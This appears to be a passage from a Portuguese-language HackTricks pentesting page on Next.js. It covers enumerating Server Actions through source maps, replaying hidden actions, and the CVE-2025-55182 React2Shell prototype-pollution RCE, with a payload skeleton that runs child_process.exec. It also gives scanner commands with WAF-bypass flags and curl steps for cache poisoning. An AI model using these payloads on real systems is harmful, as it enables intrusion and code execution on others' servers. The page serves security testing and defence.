next/imagedo Next.js para otimização automática de imagens. - Divisão de código: Aproveite imports dinâmicos para dividir o código e reduzir o tempo de carregamento inicial.
- Cache: Implemente estratégias de cache para respostas de API e recursos estáticos.
- Carregamento preguiçoso: Carregue componentes ou recursos apenas quando forem necessários.
Exemplo:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
O Next.js moderno usa “Server Actions” que são executadas no servidor, mas são invocadas pelo cliente. Em produção, essas invocações são opacas: todos os POSTs chegam a um endpoint comum e são distinguidos por um hash específico da build enviado no cabeçalho Next-Action. Exemplo:
POST /
Next-Action: a9f8e2b4c7d1...
Quando productionBrowserSourceMaps está habilitado, chunks JS minificados contêm chamadas para createServerReference(...) que leak estrutura suficiente (além dos source maps associados) para recuperar um mapeamento entre o action hash e o nome original da função. Isso permite traduzir hashes observados em Next-Action em alvos concretos como deleteUserAccount() ou exportFinancialData().
Abordagem de extração (regex em JS minificado + source maps opcionais)
Procure nos chunks JS baixados por createServerReference e extraia o hash e o símbolo da função/fonte. Dois padrões úteis:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Grupo 1: server action hash (40+ caracteres hexadecimais)
- Grupo 2: símbolo ou caminho que pode ser resolvido para a função original via o source map quando presente
Se o script anuncia um source map (comentário final //# sourceMappingURL=<...>.map), busque-o e resolva o símbolo/caminho para o nome da função original.
Fluxo de trabalho prático
- Descoberta passiva durante a navegação: capture requisições com cabeçalhos
Next-Actione URLs de chunks JS. - Busque os bundles JS referenciados e os arquivos
*.mapacompanhantes (quando presentes). - Execute a regex acima para construir um dicionário hash↔name.
- Use o dicionário para direcionar os testes:
- Triagem guiada por nome (ex.:
transferFunds,exportFinancialData). - Acompanhe cobertura entre builds por nome de função (hashes rotacionam entre builds).
Exercitando ações ocultas (requisição baseada em template)
Pegue um POST válido observado no proxy como template e troque o valor Next-Action para direcionar outra action descoberta:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Reproduza no Repeater e teste autorização, validação de entrada e lógica de negócio de ações que, de outra forma, seriam inacessíveis.
Burp automation
- NextjsServerActionAnalyzer (Burp extension) automatiza o acima no Burp:
- Analisa o histórico do proxy em busca de JS chunks, extrai entradas
createServerReference(...)e faz parse dos source maps quando disponíveis. - Mantém um dicionário pesquisável hash↔nome da função e remove duplicatas entre builds pelo nome da função.
- Pode localizar um POST template válido e abrir uma aba Repeater pronta para envio com o hash da action alvo substituído.
- Repositório: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes and limitations
- Requer
productionBrowserSourceMapshabilitado em produção para recuperar nomes a partir dos bundles/source maps. - A divulgação do nome da função por si só não é uma vulnerabilidade; use-a para orientar a descoberta e teste a autorização de cada action.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Deploys do Next.js App Router que expõem Server Actions em react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contêm uma poluição de protótipo crítica no servidor durante a desserialização de chunks do Flight. Ao forjar referências $ dentro de um payload Flight, um atacante pode pivotar de protótipos poluídos para execução arbitrária de JavaScript e então para execução de comandos do OS dentro do processo Node.js.
NodeJS - proto & prototype Pollution
Attack chain in Flight chunks
- Prototype pollution primitive: Defina
"then": "$1:__proto__:then"para que o resolvedor escreva uma funçãothenemObject.prototype. Qualquer objeto simples processado posteriormente se torna thenable, permitindo que o atacante influencie o fluxo assíncrono internamente ao RSC. - Rebinding to the global
Functionconstructor: Aponte_response._formData.getpara"$1:constructor:constructor". Durante a resolução,object.constructor→Object, eObject.constructor→Function, então chamadas futuras a_formData.get()na verdade executamFunction(...). - Code execution via
_prefix: Coloque código JavaScript em_response._prefix. Quando o_formData.getpoluído for invocado, o framework avaliaFunction(_prefix)(...), portanto o JS injetado pode executarrequire('child_process').exec()ou qualquer outro primitivo do Node.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Mapeando a exposição de React Server Functions
React Server Functions (RSF) são quaisquer funções que incluam a diretiva 'use server';. Cada form action, mutation, ou fetch helper vinculada a uma dessas funções torna-se um endpoint RSC Flight que vai desserializar attacker-supplied payloads. Passos úteis de recon derivados das avaliações React2Shell:
- Inventário estático: procure pela diretiva para entender quantos RSFs estão sendo automaticamente expostos pelo framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- Padrões do App Router:
create-next-apphabilita o App Router +app/directory por padrão, o que transforma silenciosamente cada rota em um endpoint compatível com RSC. Assets do App Router como/_next/static/chunks/app/ou responses que streamam Flight chunks sobretext/x-componentsão fortes fingerprints expostos na Internet. - Implantações RSC implicitamente vulneráveis: O próprio advisory do React observa que apps que entregam o runtime RSC podem ser exploráveis até mesmo sem RSFs explícitos, então trate qualquer build que use
react-server-dom-*19.0.0–19.2.0 como suspeita. - Outros frameworks que empacotam RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reaproveitam o mesmo serializer e herdam a idêntica superfície de ataque remota até incorporarem builds do React corrigidas.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: vulneráveis em 19.0.0, 19.1.0–19.1.1 e 19.2.0; corrigidas em 19.0.1, 19.1.2 e 19.2.1, respectivamente.- Next.js stable: App Router releases 15.0.0–16.0.6 incorporam a pilha RSC vulnerável. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluem deps corrigidas, então qualquer build abaixo dessas versões é de alto valor.
- Next.js canary:
14.3.0-canary.77+também distribui o runtime com bug e atualmente carece de canary drops corrigidos, tornando essas fingerprints fortes candidatas à exploração.
Remote detection oracle
Assetnote’s react2shell-scanner envia uma requisição Flight multipart forjada para caminhos candidatos e observa o comportamento no servidor:
- Default mode executa um payload RCE determinístico (operação matemática refletida via
X-Action-Redirect) provando execução de código. --safe-checkmode distorce propositalmente a mensagem Flight para que servidores corrigidos retornem200/400, enquanto alvos vulneráveis emitem respostasHTTP/500contendo a substringE{"digest"no corpo. Esse par(500 + digest)é atualmente o oráculo remoto mais confiável publicado por defensores.- Switches integrados
--waf-bypass,--vercel-waf-bypass, e--windowsajustam o layout do payload, prefixam junk, ou trocam comandos do OS para que você possa sondar ativos reais na Internet.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Outros problemas recentes do App Router (final de 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – payloads Flight malformados podem fazer com que o resolver RSC entre em loop infinito (pre-auth DoS) ou forçar a serialização do código compilado de Server Function para outras ações. Builds do App Router ≥13.3 são afetadas até serem corrigidas; 15.0.x–16.0.x precisam das linhas de patch específicas do advisory upstream. Reuse o caminho normal de Server Action mas faça stream de um corpo
text/x-componentcom referências abusivas a$. Atrás de um CDN a conexão travada fica aberta por timeouts de cache, tornando o DoS barato.
- Triage tip: Alvos não corrigidos retornam
500comE{"digest"após payloads Flight malformados; builds corrigidos retornam400/200. Teste qualquer endpoint que já esteja transmitindo Flight chunks (procure porNext-Actionheaders ou respostastext/x-component) e reproduza com um payload modificado.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – a falta de
Varypermitiu que uma resposta comAccept: text/x-componentfosse armazenada em cache e servida a navegadores que esperavam HTML. Uma única requisição de priming pode substituir a página por payloads RSC brutos. Fluxo PoC:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
Referências
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


